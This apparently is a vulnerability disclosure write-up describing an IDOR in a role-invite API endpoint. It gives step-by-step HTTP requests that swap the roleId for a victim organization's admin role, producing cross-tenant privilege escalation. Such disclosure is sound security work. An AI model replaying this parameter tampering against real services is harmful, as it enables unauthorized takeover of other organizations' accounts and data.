An Insecure Direct Object Reference (IDOR) allows an attacker to take over a victim organization by modifying organization-scoped identifiers (role_id) in a role-management request. The backend authorizes the action based on the provided object IDs instead of enforcing that the caller belongs to (and has permission within) the targeted organization.
Step 1 — Login as low-privileged user
Login to the portal using a normal member account.
Step 2 — Intercept invite request
Invite any user and intercept:
POST /identity/user/invite HTTP/2
Host: api.domain.com
Content-Type: application/json
Authorization: Bearer <attacker_token>
{
“emails”: [“attacker@logsmasrter.net”],
“permissions”: [
{
“organisationId”: “attacker-org-id”,
“roleId”: “role-id”
}
]
}
✅ Step 3 — Replace only the roleId with victim organization admin role
Change:
“roleId”: “ADMIN_ROLE_ID”
{
“emails”: [“attacker@logsmasrter.net”],
“permissions”: [
{
“organisationId”: “attacker-org-id”,
“roleId”: “VICTIM_ADMIN_ROLE_ID”
}
]
}
✅ Step 4 — Send request
Server responds 200 OK and processes the invite.
✅ Step 5 — Accept invitation
After accepting invite, attacker is now:
Member of victim organization
With high-privilege role
✅ Step 6 — Verify Takeover
Attacker can now:
Manage users
Modify organization settings
Assign roles to others
✔️ Organization fully compromised.
Why This Is Critical
This is not just an IDOR — it is:
Cross-tenant privilege escalation
Persistent access
Complete tenant takeover
Equivalent to admin account takeover for all users in that organization.
